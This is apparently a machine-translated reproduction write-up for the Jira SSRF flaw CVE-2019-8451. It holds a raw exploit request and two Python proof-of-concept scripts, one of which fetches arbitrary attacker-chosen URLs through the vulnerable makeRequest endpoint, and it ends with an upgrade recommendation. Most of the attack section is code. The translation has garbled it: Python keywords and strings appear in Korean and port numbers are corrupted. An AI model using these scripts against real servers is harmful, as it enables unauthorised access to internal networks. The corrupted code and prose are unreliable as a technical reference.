제목 : Jira 무단 SSRF 취약성 복구 (CVE-2019-8451)

0x00 漏洞背景​

Jira 's/Plugins/Servlet/Gadgets/Makerequest Resource에는 SSRF 취약점이 있습니다. 그 이유는 Jirawhitelist의 논리적 결함 이이 취약점을 성공적으로 이용하는 원격 공격자가 JIRA 서버로 인트라넷 리소스에 액세스 할 수 있기 때문입니다. 분석 후,이 취약점은 자격 증명없이 트리거 될 수 있습니다.
4encemlq5wy16399.png

0x01 影响范围​

8.4.0
이 취약점은 Jira Server 버전 7.6.0에 도입되었으며 버전 7.13.9 및 8.4.0에서 고정되었습니다.

0x02 漏洞复现​

Atlassian jirav7.13.0 (이 버전을 예로 들어이 버전에 취약점이 있습니다) 다운로드 주소 :
설치 프로세스는 더 이상 설명되지 않습니다 (설치하려는 프롬프트에 따라 먼저 공무원에 계정을 등록한 다음 시험 일련 번호를 받고 설치하십시오).
Bupsuit를 통한 요청은 다음과 같습니다. 응답으로 대상 시스템이 SSRF 취약점을 성공적으로 감지했음을 알 수 있습니다.
get /plugins/servlet/gadgets/makerequest?url=http://10.206.1.8:[email protected] http/1.1
Host: 10.206.1.833608080
업그레이드-보안 요청 : 1
user-agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) Applewebkit/537.36 (Gecko와 같은 KHTML) Chrome/76.0.3809.132 Safari/537.36
accept: 텍스트/html, 응용 프로그램/xhtml+xml, application/xml; q=0.9, image/webp, image/apng,*/*; q=0.8, application/signed-exchangeb; v=b3
accept-encoding: gzip, deflate
accept-language: zh-cn, zh; q=0.9, en; q=0.8
X-Atlassian-Token: No-Check
Connection: 닫기
kwh2khpyv5i16400.png

0x03 漏洞验证​

확인 POC는 다음과 같습니다.
가져 오기 요청
SYS 가져 오기
# http://335810.206.1.8:8080/plugins/...est?url=http://10.206.1.8:[email protected]/
def ssrf_poc (url, ssrf_url) :
URL [-1]=='/': 인 경우
URL=URL [:-1]
else:
URL=URL
vuln_url=url + '/plugins/servlet/gadgets/makeRequest?url=' + url + '@' + ssrf_url
헤더={
'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; X64; RV:55.0) Gecko/20100101 Firefox/55.0 ',
'승인 ':'*/*',
'accept-language':'zh-cn, zh; q=0.8, en-us; q=0.5, en; q=0.3 ',
'허용 인코딩 ':'gzip, deflate ',
'X-Atlassian-Token ':'No-Check ',
'Connection ':'닫기 '
}
r=requests.get (url=vuln_url, 헤더=헤더)
R.Content:의 R.Status_Code==200 및 'Set-Cookie'인 경우
'\ nsend poc 성공! \ n'인쇄
'x-ausername=% s' % r.headers.get ( 'x-ausername') 인쇄
인쇄 '\ nvuln_url=' + vuln_url + '\ n'
R.Content를 인쇄하십시오
else:
'vuln 출구 없음!'
__name__=='__ 메인 __': 인 경우
True:
인쇄
ssrf_url=raw_input ( 'ssrf url:')
url='http://10.206.1.8:8080' # 자신의 대상 JIRA 시스템으로 수정해야합니다.
ssrf_poc (url, ssrf_url)
Python CVE-2019-8451.Pyhttp://10.206.1.833608080/
xrkeelo4fgc16401.png

或者:#!/usr/bin/env python3
Argparse 가져 오기
가져 오기 요청
가져 오기 re
g, b, r, w, m, c, end='\ 033 [92m', '\ 033 [94m', '\ 033 [91m', '\ x1b [37m', '\ x1b [35m', '\ x1b [36m', '\ 033 [0m'[0m '
info=end + w + '[-]' + w
good=end + g + '[ +]' + c
bad=end + r + '[' + w + '!' + r + ']' ''
user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) Applewebkit/537.36 (Gecko Like Gecko) Chrome/75.0.3770.90 Safari/537.36'
def check_version (URL) :
대상=URL
응답=send_request (대상)
print (info + '버전 확인 .' + end)
r1=re.search ( '[0-9] {1} \. [0-9] {1} \. [0-9] {1}', str (응답))
print (info + 'jira 버전은 be:' + r1.group (0) + end로 보입니다)
v1='8.4.0'
v2=r1. 그룹 (0)
comapre_versions (v1, v2)==false: 인 경우
print (bad + '버전은 아마도 취약하지 않다는 것을 나타냅니다.' + end)
else:
print (good + '버전은 취약 할 수 있음을 나타냅니다!' + end)
def comapre_versions (v1, v2) :
i, j zip (맵 (int, v1.split ( '.')), map (int, v2.split ( '.')) :
I==J: 인 경우
계속 계속하십시오
반환 i j
반환 렌 (v1.split ( '.')) len (v2.split ( '.')))
def check_vuln (URL) :
대상=url + '/플러그인/서블릿/가제트/makerequest? url=' + url + '@example.com/'
응답=send_request (대상)
print (info + 'ssrf 테스트 보내기 .' + end)
응답으로 ''RC ':200 '이고 응답 :의'예제 도메인 '인 경우
print (good + '호스트는 취약한 것으로 보입니다!' + end)
else:
print (bad + '호스트는 취약한 것으로 보이지 않습니다.' + end)
def send_request (대상) :
헤더={ 'x-atlassian-token':'no-Check', 'user-agent':user_agent}
try:
r=requests.get (대상, 헤더=헤더)
E:으로 예외를 제외하고
print (bad + 'request!' + end)
인쇄 (e)
출구 (-1)
if (r.status_code!=200) :
print (info + '뭔가 잘못 됐어!' + 끝)
if (r.status_code==302) :
print (bad + '리디렉션. 대신 시도해보십시오 :' + r.headers [ 'location'] + end)
else:
print (bad + 'status:' + str (r.status_code) + 종료)
출구 (-1)
반환 (R.Text)
__name__=='__ 메인 __': 인 경우
parser=argparse.argumentparser (prog='jira-2019-8451.py', description='jira 인스턴스가 CVE-2019-8451에 jira 인스턴스를 확인할 수 있는지 확인합니다.)
parser.add_argument ( '-u', '-url', help='대상 jira 인스턴스의 URL 예 :'-u https://localhost:8080 ''))).
parser.add_argument ( '-c', '-check', help='jira 버전 만 확인하고 ssrf 시도를 보내지 않습니다', action='store_true')
args=parser.parse_args ()
Args.url:이 아닌 경우
print (bad + 'missing parameters' + end)
parser.print_help ()
출구 (-1)
url=str (args.url)
print (info + '테스트' + url + '.' + end)
Args.Check==True:이면
check_version (url)
출구 (0)
else:
check_version (url)
check_vuln (url)
使用方法:PIP3 설치 요청
$ ./jira-2019-8451.py -h
usage: jira-2019-8451.py [-h] [-u url] [-c]
Jira 인스턴스가 CVE-2019-8451에 vunlerable인지 확인하십시오.
옵션 인수 :
-h, -help이 도움말 메시지와 종료를 보여줍니다
-u url, -대상 jira 인스턴스의 url url url 예 : '-유
https://localhost:8080 '
-c, -점검은 Jira 버전 만 확인합니다. SSRF 시도를 보내지 않습니다
d: \ python \ python37python c: \ user \ user \ Administrator \ Desktop \ jira-2019-8451.py -u http://10.206.1.8:8080
nb1gwtnmmqw16402.png

0x04 修复建议​

8.4.0 이상으로 업그레이드하십시오

0x05 参考文献​

 
뒤로
상단